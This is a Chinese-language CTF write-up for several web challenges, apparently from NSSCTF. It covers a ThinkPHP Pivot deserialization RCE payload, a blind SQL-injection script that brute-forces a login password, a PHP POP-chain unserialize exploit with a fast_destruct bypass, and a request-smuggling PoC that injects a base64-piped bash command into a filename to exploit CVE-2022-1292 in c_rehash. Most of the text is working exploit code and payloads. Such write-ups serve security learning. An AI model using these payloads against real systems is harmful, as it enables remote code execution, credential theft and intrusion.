payload
| http://eci-2ze7x0b01kqqb579phbs.cloudeci1.ichunqiu.com/index.php/index/test |
post
| a=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A13%3A%22cat+%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00*%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A13%3A%22cat+%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00*%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00*%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00*%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00*%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00*%00jsonAssoc%22%3Bb%3A1%3B%7D |
有个DS_Store
然并卵
用的AuroraSZU的payload
| import requests |
| |
| #1'^CASE`password`like'{s + table[j]}%'COLLATE'utf8mb4_bin'WHEN'1'THEN'0'ELSE''+100E291+1.7976931348623158E308+''end^' |
| |
| url = "http://1.14.71.254:28968/login.php" |
| table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@$_" |
| s = "" |
| for i in range(300): |
| for j in range(len(table)): |
| data = { |
| "password": "admin", |
| "username": f"1'^CASE`password`like'{s + table[j]}%'COLLATE'utf8mb4_bin'WHEN'1'THEN'0'ELSE''+100E291+1.7976931348623158E308+''end||'" |
| } |
| res = requests.post(url, data=data) |
| if res.status_code == 200: |
| s += table[j] |
| print(s) |
| break |
打nss的靶场会有问题,最后的这个
匹配到的是下划线,下划线是脚本中字符集的最后一个字符,所以可能是_
也可能是%
(此处需要手试)
多次尝试后得出是%
| password=PAssw40d_Y0u3_Never_Konwn%21%40%21%21&username=nssctfwabbybaboo!%40%24%25!! |
混淆文件用了大量的不可见字符,类似SUSCTF
中的rubbish maker
,直接保存可能存在解码不了,使用如下脚本进行保存
难蚌,我直接保存的确解码失败。询问一些大佬是用的pwntools+gzip
download.py
| import gzip |
| from pwn import * |
| |
| p = remote("1.14.71.254",28882) |
| msg = """GET /login.php HTTP/1.1 |
| Host: 1.14.71.254:28882 |
| Upgrade-Insecure-Requests: 1 |
| User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 |
| Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 |
| Accept-Encoding: gzip, deflate |
| Accept-Language: zh-CN,zh;q=0.9 |
| Cookie: PHPSESSID=e7bf00700a9bd551fb7bcbcc51690b0e |
| Connection: close""" |
| p.send(msg.encode()) |
| byte = p.recv() |
| start = byte.find(b"\r\n\r\n")+4 |
| byte = byte[start:] |
| with open("test.php","wb") as f: |
| f.write(gzip.decompress(byte)) |
| f.close() |
不过nss的靶场比较特别,gzip会失败
这里也可以用atao神的脚本
| <?php |
| $url ="http://1.14.71.254:28882/login.php"; |
| $ch = curl_init(); |
| curl_setopt($ch, CURLOPT_URL, $url); |
| curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true); |
| curl_setopt ($ch, CURLOPT_COOKIE, "session=e7bf00700a9bd551fb7bcbcc51690b0e"); |
| $result = curl_exec($ch); |
| curl_close($ch); |
| echo urlencode($result); |
| file_put_contents("login.php",$result); |
| ?> |
之后是phpjiami混淆,去混淆的方法是:(网上一些Github脚本被删除了,可以用这个,参考2018的pwnhub某道题)
参考PHPJiaMi 免扩展加密分析及解密_vsalw技术博客用其脚本进行一个解密,脚本如下:
https://vsalw.oss-cn-shanghai.aliyuncs.com/phpjiami.zip
解压后把待解密的放入encode目录
| $ php phpjiami.php |
| ./encode/index.php
|
解密结果在decode里
这里展示最终解密后的1Nd3x_Y0u_N3v3R_Kn0W.php
| <?php |
| session_start(); |
| if(!isset($_SESSION['login'])){ |
| die(); |
| } |
| function Al($classname){ |
| include $classname.".php"; |
| } |
| |
| if(isset($_REQUEST['a'])){ |
| $c = $_REQUEST['a']; |
| $o = unserialize($c); |
| if($o === false) { |
| die("Error Format"); |
| }else{ |
| spl_autoload_register('Al'); |
| $o = unserialize($c); |
| $raw = serialize($o); |
| if(preg_match("/Some/i",$raw)){ |
| throw new Error("Error"); |
| } |
| $o = unserialize($raw); |
| var_dump($o); |
| } |
| }else { |
| echo file_get_contents("SomeClass.php"); |
| } |
读一下SomeClass.php
| <?php |
| class A |
| { |
| public $a; |
| public $b; |
| public function see() |
| { |
| $b = $this->b; |
| $checker = new ReflectionClass(get_class($b)); |
| if(basename($checker->getFileName()) != 'SomeClass.php'){ |
| if(isset($b->a)&&isset($b->b)){ |
| ($b->a)($b->b.""); |
| } |
| } |
| } |
| } |
| class B |
| { |
| public $a; |
| public $b; |
| public function __toString() |
| { |
| $this->a->see(); |
| return "1"; |
| } |
| } |
| class C |
| { |
| public $a; |
| public $b; |
| public function __toString() |
| { |
| $this->a->read(); |
| return "lock lock read!"; |
| } |
| } |
| class D |
| { |
| public $a; |
| public $b; |
| public function read() |
| { |
| $this->b->learn(); |
| } |
| } |
| class E |
| { |
| public $a; |
| public $b; |
| public function __invoke() |
| { |
| $this->a = $this->b." Powered by PHP"; |
| } |
| public function __destruct(){ |
| |
| |
| die($this->a); |
| } |
| } |
| class F |
| { |
| public $a; |
| public $b; |
| public function __call($t1,$t2) |
| { |
| $s1 = $this->b; |
| $s1(); |
| } |
| } |
| |
| ?> |
if(preg_match("/Some/i",$raw)){
throw new Error("Error");
}
上面这个抛异常的报错用fast_destruct或者__PHP_Incomplete_Class 都可以绕过
之后就是挖链子
E::__destruct()->C::toString()->D::read()->F::__call()->E::__invoke()->B::__toString()->A::see()
xs,有更短的
E::__destruct()->B::__toString()->A::see()
发现链子里面最后一个rce是有限制的,如何绕过呢
ArrayObject(),Error() ... 凡是原生类都可以随意增加修改属性。借此可以绕过一些对类的限定
比如说
| class A |
| { |
| public $b; |
| public function __construct(){ |
| $this->see(); |
| } |
| |
| public function see() |
| { |
| $b = $this->b; |
| |
| $checker = new ReflectionClass(get_class($b)); |
| if(basename($checker->getFileName()) != 'SomeClass.php'){ |
| if(isset($b->a)&&isset($b->b)){ |
| ($b->a)($b->b.""); |
| } |
| } |
| } |
| } |
已知
$a = "system";
$b = "calc";
($a)($b."");
是可以rce的
所以$b->a,$b->b只要分别返回system和calc就行
数组是行不通的,考虑用类,然而这里不允许使用SomeClass.php中的类(只有SomeClass.php有题目写的类),所以这里考虑使用原生类
| <?php |
| class A |
| { |
| public $a; |
| public $b; |
| public function __construct(){ |
| $this->b = new Error(); |
| $this->b->a = "system"; |
| $this->b->b = "dir"; |
| $this->see(); |
| |
| } |
| |
| public function see() |
| { |
| $b = $this->b; |
| |
| $checker = new ReflectionClass(get_class($b)); |
| if(basename($checker->getFileName()) != 'SomeClass.php'){ |
| if(isset($b->a)&&isset($b->b)){ |
| ($b->a)($b->b.""); |
| } |
| } |
| } |
| } |
| |
| $a = new A(); |
| |
| unserialize(serialize($a)); |
Error改ArrayObject也可以,其实凡是原生类都可
说到fast_destruct,我们可以两种做法,一种是删除最后的大括号,一种是数组对象占用指针(改数字)
对了,
| function Al($classname){ |
| include $classname.".php"; |
| } |
所以一开始是一定要new一个SomeClass()的
如果利用最后一种,我们可以在new SomeClass();的后面随便加个属性,之后手动把1改为0
如下
fast_destruct版的payload
| <?php |
| include "SomeClass.php"; |
| |
| class SomeClass{ |
| public $a; |
| } |
| |
| $e = new E(); |
| $a = new A(); |
| $b = new B(); |
| |
| $e->a = $b; |
| $b->a = $a; |
| $arr = new ArrayObject(); |
| $arr->a = "system"; |
| $arr->b = "dir"; |
| $a->b = $arr; |
| $c = new SomeClass(); |
| $c->a = $e; |
| |
| echo "<hr>"; |
| echo urlencode(str_replace("i:1;", "i:0;", serialize(array($c,1)))); |
| echo "<hr>"; |
request.form是存储post表单的地方
本地测试一下
| uri = request.form.get("uri", "/") |
| print(request.form) |
但是当
| @app.route('/proxy', methods=['GET']) |
会method not allow
绕过的方法就是POST改GET。但是body里面仍然有uri
接着后面就是go代码审计活,尤其注意搜索引擎的妙用,理解博文的意思
参考1.Gin源码学习-快速开始 - 知乎 (zhihu.com)
所以需要我们对路径进行url编码
然后
Host: admin
`绕
`c.Request.Host == "admin"
最后是这一步,确实学到很多
上网搜一下发现CVE-2022-1292,没有exp但是漏洞描述是当用户可控文件名时的命令注入,所以现在目标为控制文件名
曾几何时我竟认为只有搜出复现文章才可以做题,好好反思
OpenSSL命令注入漏洞 (CVE-2022-1292) 安全风险通告 - 安全内参 | 决策者的网络安全知识库 (secrss.com)
漏洞由于c_rehash脚本未对外部可控数据进行有效过滤,导致可操作/etc/ssl/certs/目录的攻击者注入恶意命令,从而以该脚本的权限执行任意命令。
很像
看go源码,发现只提供了../static/crt/目录下的重命名文件的功能
导致可操作/etc/ssl/certs/目录的攻击者注入恶意命令
结合这句话,我想已经猜到怎么做了吧,把文件名改为恶意代码就会执行
而这个改名的操作明显是通过proxy走私http出来攻击的
坑点:
- 走私的http请求要url编码两次
\r\n
这东西win下比较难实现
尝试burp多次无果后我写了python脚本
poc
| import requests |
| import urllib |
| import base64 |
| import re |
| |
| url = "http://1.14.71.254:28183/" |
| |
| link1 = requests.get(url+"getcrt").text |
| |
| old = re.findall(r"static/crt/(.*)",link1)[0] |
| |
| print("old is "+old) |
| |
| |
| cmd=base64.b64encode('cat /* >flag1.txt'.encode()).decode() |
| print(cmd) |
| |
| payload = f"`echo {cmd} -d|base64 -d|bash`.crt" |
| |
| payload = urllib.parse.quote(payload) |
| |
| payload0 = { |
| "uri":f"/%61%64%6d%69%6e/%72%65%6e%61%6d%65?oldname={old}&newname={payload} HTTP/1.1\r\n" |
| "Host: admin\r\n" |
| "User-Agent: Guest\r\n" |
| "Accept-Encoding: gzip, deflate\r\n" |
| "Accept-Language: zh-CN,zh;q=0.9\r\n" |
| "Connection: close\r\n\r\n" |
| } |
| |
| requests.get(url+"proxy",data=payload0) |
| link=requests.get(url+"/createlink").text |
| print(link) |
| |
| print(requests.get(url+"/static/crt/flag1.txt").text) |